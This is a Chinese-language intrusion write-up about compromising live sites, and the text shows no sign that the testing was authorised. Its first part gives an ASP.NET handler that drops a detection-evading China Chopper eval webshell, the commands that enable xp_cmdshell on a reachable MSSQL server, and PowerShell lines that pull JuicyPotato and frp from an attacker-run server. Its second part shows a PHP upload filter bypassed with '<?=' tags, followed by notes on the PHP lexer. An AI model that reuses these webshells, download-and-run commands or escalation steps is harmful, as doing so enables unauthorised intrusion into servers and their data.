public class Handler : IHttpHandler {  
public void ProcessRequest (HttpContext context) {  
context.Response.ContentType = "text/plain";  
char[] letters = { 'e', 'v', 'a', 'l'}; //弄了一个数组,来防止检测eval  
string st = "@ ";  
string ssa = "<%";  
string bb = "Page Language=\\"Jscript\\"%><%";  
string aa = new string(letters);  
string zcz = "(Request.Item[\\"chopper\\"],\\"unsafe\\");%>";  
string payload = ssa+st+bb+aa+zcz; //做了拼接  
StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));  
file1.Write(payload);  
file1.Flush();  
file1.Close();  
}  
public bool IsReusable {  
get {  
return false;  
}  
}  
}

上传成功。进入之后,权限很低,仅仅是iis用户

2. NET审计

得到shell权限之后,我分析了一波他的网站源码。
.NET core的反编译可以使用dnSpy 和 ILSpy 两个都可以
先来了解一下.NET的MVC模式

.NET的MVC路由配置

我有一个Products的请求,然后将它映射到相关的控制器,由控制器去构建Model,Model返回给控制器相关数据,控制器就将这些数据渲染给View,最终返回一个html页面给用户。
而这里要讲的路由就是,怎么把HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上
路由分两种 一种是Conventional Routing 按约定配置路由

app.UseMvcWithDefaultRoute();  //使用默认路由,

等价于下面这种自定义路由

app.UseMvc(routes =>
{
   routes.MapRoute("default", "{controller=Home}/{action=Index}/{id?}");
});  //自定义路由,如果Http请求没有控制器,就自动找Home,没有方法就自动找Index

Http请求  /                    ->->  HomeController下的Index action
         /computer/index      ->->  computerController下的Index action

第二种是Attribute Routing 特性路由(webapi)
例子,现在有一个controllers名为about,其有两个方法me和company

namespace Tutorial.Web.Controllers
{
    [Route("about")]    //这种就是。Controller级别的.想访问这个About控制器,路径必须以about开始
    // [Route("[Controller]/[action]")]  或者直接这样子
    public class AboutController
    {
      //  假设我想直接输入/About  就能访问me 就把Route留空。
        [Route(" ")]
        public string Me()

        {
            return "HH";
        }
        [Route("Company")]   //匹配Company
        public string Company()
        {
            return "AA";
        }
    }
}

? 将一个路由参数标记为 可选参数
[Route("api/product/{id:int}")]   将id参数绑定为int类型
[HttpPost]
[Route("api/product/{id}")]   标记为post类型 

审计过程

这个程序我一步一步来说我的思路,毕竟我才入门.NET ,可能有一点不准确。还请指出我存在的错误。
首先我要弄懂的是这个CMS是怎么去访问的,怎么映射到相关方法,权限控制哪些能访问的。
在.NET中,上面说的路由,是HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上。但是在映射之前,你需要指定程序去服务才行。
web.config默认配置就有说明,怎么去服务请求的.
这是manager的配置,可以看到访问/API/ 就把请求给webapihandle去服务

这是webapihandle的文件内容

实现了一个一般处理程序处理过程(HttpHandler),来响应我们的http请求。
然后接受我们的参数,通过反射的方法调用其它dll中的类和方法

加载dll文件

通过HTTP请求来访问加载dll文件的方法和属性.例如。

http://localhost/API/SystemUser/Create/ 返回:[0]:API,[1]:SystemUser,[2]:Create</example>

requestObject是加载方法,而parametValues是方法所需要的参数。然后调用该方法和类,传参,如果请求成功则返回json数组,请求失败则用自定义的json数组

这里我觉得需要注意的,它请求的类名都是以API结尾的,所有我们就能解释后面访问为什么不需要加上API。

下面这一块我尝试理解了一下,这里应该是一个改写的Route,它大概实现了对路由的控制功能,这里分三种情况

  • [WebAPI(false)] 不用判断登入状态

  • [WebAPI("xxx.Access")] 判断登入状态且判断用户权限

  • [WebAPI] 单单判断登入状态


我们没有登入的方法,所以需要去找那些不需要登入的方法。
大概说了一下我怎么去看这个cms的,下面漏洞发现过程就不一一细说了。我是一个一个方法去看,只看我能访问的。

审计结果

找了以下几个漏洞。
一处上传漏洞

一处sql注入,很明显了。直接拼接code,没有做任何处理。

一处上传漏洞,直接把文件后缀当作保存文件后缀,没自定义
image-20210317222911926
又一处sql注入漏洞,带报错的
image-20210317222920955

3.烂土豆提权

偶然发现这个烂土豆,windows的一个本地特权提升工具。

image-20210317222930417

光提权没用,想登入3389得做映射。这里我用了frp来端口映射。
image-20210317222938424
frpc -c frpc.ini
OK!
image-20210317222947760

4.Mssql提权

刚好之前找到了一个mssql的数据库可以外连。

阿里云的,,服务器。

试试能不能开启mssql的命令执行

MSSQL开启命令执行

exec sp_configure 'show advanced options',1;reconfigure;

exec sp_configure 'xp_cmdshell',1;reconfigure;

exec master.dbo.xp_cmdshell 'whoami';

我日,有戏。

这里我就一个命令执行,新加用户也没有权限,而且只开了1433.。。

我就想,之前用烂土豆把用户给增加了,这台机器也是2012的,说不定有戏

先把烂土豆上传上去,把烂土豆放在外网服务器上,然后用powershell下载

exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''http://你的服务器地址/JuicyPotato.exe'',''C:\Users\MSSQLSERVER\Downloads\123.exe'')"';

成功!!

因为也没开3389,继续用frp映射出来

exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.exe'',''C:\Users\MSSQLSERVER\Downloads\frpc.exe'')"';

exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.ini'',''C:\Users\MSSQLSERVER\Downloads\frpc.ini'')"';

一次不必要的调试PHP-SRC

和小伙伴一起折腾一个项目,小伙伴从一个子站利用tp5rce打到了shell,找到了数据库的密码,我的目标和子站共用一个数据库,他就把测试账户丢给我了。进到后台,发现可以修改上传文件类型。我寻思着,我这个是不是也得想想怎么办。

1568282700754

修改成允许php的类型上传,但是但是,上传关于<?php 就会失败

1569903731235

1569903804327

遇到这种,我第一时间想到的就是PHP短标签。可是有时候目标没开启短标签,怎么办?

还有一种PHP的词法

<script language="php"></script>

可是这种,PHP7就不支持了。

也尝试了图片马,但是不知道为什么没执行成功。脑阔疼。我去问大佬,大佬推荐我看一下PHP的词法解析和语法解析。反正那时候没有什么好办法,看就看吧。

由于目标是php7.2的,跑去下载了php7.2的源码包

1568289152788

解决过程

PHP的官网有一个T_SR的一些标识符,上面很明确了各个版本的一些标识符的作用。

1569903309059

T_OPEN_TAG是php-zend引擎解析php语法打的标签,(这个文档不知道是哪个版本的,我看php-src里面没用<% == 当时坑了我一下)

所以真正准确的T_OPEN_TAG在

php-src-php-7.2.13\php-src-php-7.2.13\Zend\zend_language_scanner.l

1569903497905

解释一下,只有<?= 和<?php 能使用,因为<? 这个需要开启short_tags 也就是大家熟悉的短标签。

现在找到了<?php的替代,去试试去。

POST :

<?= phpinfo();?>

1569903894129

成了。搞定就想休息,等过了一段时间,再去上传一句话的时候,发现。。目标已经转了阿里云资源服务器==

1569904164255

就想看看PHP的词法分析(下面是我收集资料理解的,可能理解的不对,还请大佬们斧正)

PHP

PHP是怎么运行的?

首先,PHP是一门解释型的语言。PHP执行的时候,需要把PHP代码翻译成机器语言来执行(所以需要一个解释器,但是为了效率不可能每一次都重新解释,所以PHP中就有各种的opcode)。

而翻译这个过程,就是在PHP的内核完成的,向其他语言一样,都会有自己的语法风格。所以继续进行词法分析(像<?php这些),然后再进行语法分析,判断语法是否符合规范。最后交给Zend 去执行。

那么问题来了,PHP内核怎么接受PHP代码呢?

SAPI 一切的开始

SAPI接口是负责对各个接入层的抽象

PHP在Apache模块里边的实现,Fast-CGI的实现,命令行CLI的实现

1569905303331

然后顺带注册一些全局变量,然后接着执行词法分析->语法分析->生成opcode

词法分析

[http://rapheal.sinaapp.com/2013/11/14/php_zend_lex/]:

跟着拉风大佬的分析方法,源码高亮

我们从cli命令行下追溯如何进入词法分析流程。

先来看看php -s 在 sapi\cli\php_cli.c

注意到这里还有一个行为 PHP_MODE_PROCESS_STDIN和PHP_MODE_CLI_DIRECT

查了相关资料知道:

PHP_MODE_PROCESS_STDIN 程序阻塞在一个循环中,执行每一行输入,直到用户中断或异常退出。

1570000603240

PHP_MODE_CLI_DIRECT 应该是cli下的一个模式,跟着进去就可以看到使用了zend_eval_string_ex去处理。

1570097546843

追踪到zend_eval_string_ex上,可以看到调用了zend_eval_stringl_ex,继续就是转给了zend_eval_stringl处理

1570097739123

关于zend_eval_stringl就是函数编译代码生成字节码 new_op_array,再调用 zend_execute 函数执行生成的字节码

1570099585882

看一下另外一个PHP_MODE_PROCESS_STDIN

1570000822511

在这个模式下, 程序阻塞在一个循环中,执行每一行输入,直到用户中断或异常退出。所以这个应该是切割每一行的。

而执行的话应该是这两个,

php_execute_script
zend_eval_string_ex和zend_execute_scripts类似,不过前者编译的是一个串,后者编译的是一个PHP文件。

php_execute_script在其定义下,op_array是通过zend_compile_file获取,然后就用zend_execute去执行

1570003553580

先找这个zend_compile_file,发现在PHP启动Zend时候,就已经改成了compile_file。

在\php-src-php-7.2.13\Zend\zend.c

1570003694460

compile_file 在\php-src-php-7.2.13\Zend\zend_language_scanner.c 下

1570003831049

可以发现op_array 又从zend_compile这里拿,(zend_compile的函数实现)

现在拿到了op_array,我们回去zend.c的zend_execute_scripts中,发现最后执行op_array的是zend_excute

1570004969563

这两个模式大致就是检查是否文件运行,因为我们是在cli命令行下去执行,如果这两个没通过就会抛出异常。

下面去看看PHP_MODE_HIGHLIGHT

1569907732987

然后就调用了

1569907751230

在 php-src-php-7.2.13\Zend\zend_highlight.c

就进入了lex_scan词法分析,获取Token,然后加入对应的颜色

1569907841853

lex_scan则在 php-src-php-7.2.13\Zend\zend_language_scanner.c 下

在php-src下有三个相关的文件

zend_language_scanner.c  //主要的代码
zend_language_scanner.l  //基于re2c生成的语法规则
zend_language_scanner.h  //头文件

然后将源代码按照词法规则切分一个一个的标记(token)

1570098886432

这是词法分析注释

1570098908944

那么词法分析之后,怎么去执行呢?给大家一看就知道了,-s 仅仅是对代码进行高亮,没有去执行

1570098583541

总结

我捣鼓了那么久,总算把PHP的词法分析给弄明白点了。(这个还是拉风大佬的图)

词法语法分析就是通过lex_scan去按照规则语法去打标签,然后匹配某一条规则语法。php_execute_script这个PHP执行的入口,调了zend_execute_scripts。而zend_execute_scripts这个函数里面,又调用了zend_compile_file和zend_execute,zend_compile_file在初始时候就变成了compile_file它用于生成opcode中间代码,然后交给zend_execute去执行。

1570100454835

1570101347410

大概是这个意思。这里我感觉,有一些时候,网上的套路总要用源代码去解释,追根溯源。这次的瞎折腾,感觉还是有点没看透,寻思着在分析分析。得看看函数实现等等

参考资料:

https://www.cnblogs.com/yjf512/category/272034.html

https://www.notee.cc/PHP/engine_general_lifetime_of_php_code_1/#php_mode_process_stdin

https://www.kancloud.cn/kancloud/php-internals/42752

https://www.php.net/manual/zh/internals2.ze1.zendapi.php

http://rapheal.sinaapp.com/2013/11/